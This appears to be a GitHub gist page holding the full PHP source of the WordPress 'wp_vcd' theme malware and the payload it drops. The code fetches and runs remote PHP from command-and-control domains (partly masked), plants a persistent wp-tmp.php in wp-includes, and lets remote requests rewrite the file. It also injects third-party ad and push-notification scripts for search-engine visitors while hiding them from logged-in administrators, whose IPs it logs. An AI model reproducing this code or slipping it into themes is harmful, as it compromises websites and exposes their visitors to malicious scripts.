if (preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i', $file, $matcholdcode)) { | |
$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file); | |
@file_put_contents(__FILE__, $file); | |
print "true"; | |
} | |
} | |
} | |
} | |
break; | |
default:print "ERROR_WP_ACTION WP_V_CD WP_CD"; | |
} | |
die(""); | |
} | |
$div_code_name = "wp_vcd"; | |
$funcfile = __FILE__; | |
if (!function_exists('theme_temp_setup')) { | |
$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI]; | |
if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) { | |
function file_get_contents_tcurl($url) { | |
$ch = curl_init(); | |
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE); | |
curl_setopt($ch, CURLOPT_HEADER, 0); | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); | |
curl_setopt($ch, CURLOPT_URL, $url); | |
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); | |
$data = curl_exec($ch); | |
curl_close($ch); | |
return $data; | |
} | |
function theme_temp_setup($phpCode) { | |
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup"); | |
$handle = fopen($tmpfname, "w+"); | |
if (fwrite($handle, "<?php\n" . $phpCode)) { | |
} else { | |
$tmpfname = tempnam('./', "theme_temp_setup"); | |
$handle = fopen($tmpfname, "w+"); | |
fwrite($handle, "<?php\n" . $phpCode); | |
} | |
fclose($handle); | |
include $tmpfname; | |
unlink($tmpfname); | |
return get_defined_vars(); | |
} | |
$wp_auth_key = 'e5cb8bb47540a2cda34ff3021a1b4b75'; | |
if (($tmpcontent = @file_get_contents("http://www.XXX.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.XXX.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) { | |
if (stripos($tmpcontent, $wp_auth_key) !== false) { | |
extract(theme_temp_setup($tmpcontent)); | |
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); | |
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { | |
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); | |
if (!file_exists(get_template_directory() . '/wp-tmp.php')) { | |
@file_put_contents('wp-tmp.php', $tmpcontent); | |
} | |
} | |
} | |
} elseif ($tmpcontent = @file_get_contents("http://www.XXX.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false) { | |
if (stripos($tmpcontent, $wp_auth_key) !== false) { | |
extract(theme_temp_setup($tmpcontent)); | |
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); | |
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { | |
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); | |
if (!file_exists(get_template_directory() . '/wp-tmp.php')) { | |
@file_put_contents('wp-tmp.php', $tmpcontent); | |
} | |
} | |
} | |
} elseif ($tmpcontent = @file_get_contents("http://www.XXX.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false) { | |
if (stripos($tmpcontent, $wp_auth_key) !== false) { | |
extract(theme_temp_setup($tmpcontent)); | |
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); | |
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { | |
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); | |
if (!file_exists(get_template_directory() . '/wp-tmp.php')) { | |
@file_put_contents('wp-tmp.php', $tmpcontent); | |
} | |
} | |
} | |
} elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { | |
extract(theme_temp_setup($tmpcontent)); | |
} elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { | |
extract(theme_temp_setup($tmpcontent)); | |
} elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { | |
extract(theme_temp_setup($tmpcontent)); | |
} | |
} | |
} | |
//$start_wp_theme_tmp | |
//wp_tmp | |
//$end_wp_theme_tmp | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
ini_set('display_errors', 0); | |
error_reporting(0); | |
$wp_auth_key = 'e5cb8bb4754XXXXda34ff3021a1b4b75'; | |
if (!function_exists('slider_option')) { | |
function slider_option($content) { | |
if (is_single()) { | |
$con = ' | |
'; | |
$con2 = ' | |
<script type="text/javascript" src="//deloplen.com/apu.php?zoneid=2809704" async data-cfasync="false"></script> | |
<script src="//sendmepush.com/ntfc.php?p=2809706" data-cfasync="false" async></script> | |
'; | |
$content = $content . $con2; | |
} | |
return $content; | |
} | |
function slider_option_footer() { | |
if (!is_single()) { | |
$con2 = ' | |
<script type="text/javascript" src="//deloplen.com/apu.php?zoneid=2809704" async data-cfasync="false"></script> | |
<script src="//sendmepush.com/ntfc.php?p=2809706" data-cfasync="false" async></script> | |
'; | |
echo $con2; | |
} | |
} | |
function setting_my_first_cookie() { | |
setcookie('wordpress_cf_adm_use_adm', 1, time() + 3600 * 24 * 1000, COOKIEPATH, COOKIE_DOMAIN); | |
} | |
if (is_user_logged_in()) { | |
add_action('init', 'setting_my_first_cookie', 1); | |
} | |
if (current_user_can('edit_others_pages')) { | |
if (file_exists(ABSPATH . 'wp-includes/wp-feed.php')) { | |
$ip = @file_get_contents(ABSPATH . 'wp-includes/wp-feed.php'); | |
} | |
if (stripos($ip, $_SERVER['REMOTE_ADDR']) === false) { | |
$ip .= $_SERVER['REMOTE_ADDR'] . ' | |
'; | |
@file_put_contents(ABSPATH . 'wp-includes/wp-feed.php', $ip); | |
} | |
} | |
$ref = $_SERVER['HTTP_REFERER']; | |
$SE = array('google.', '/search?', 'images.google.', 'web.info.com', 'search.', 'yahoo.', 'yandex', 'msn.', 'baidu', 'bing.', 'doubleclick.net', 'googleweblight.com'); | |
foreach ($SE as $source) { | |
if (strpos($ref, $source) !== false) { | |
setcookie("sevisitor", 1, time() + 120, COOKIEPATH, COOKIE_DOMAIN); | |
$sevisitor = true; | |
} | |
} | |
if (!isset($_COOKIE['wordpress_cf_adm_use_adm']) && !is_user_logged_in()) { | |
$adtxt = @file_get_contents(ABSPATH . 'wp-includes/wp-feed.php'); | |
if (stripos($adtxt, $_SERVER['REMOTE_ADDR']) === false) { | |
if ($sevisitor == true || isset($_COOKIE['sevisitor'])) { | |
add_filter('the_content', 'slider_option'); | |
add_action('wp_footer', 'slider_option_footer'); | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment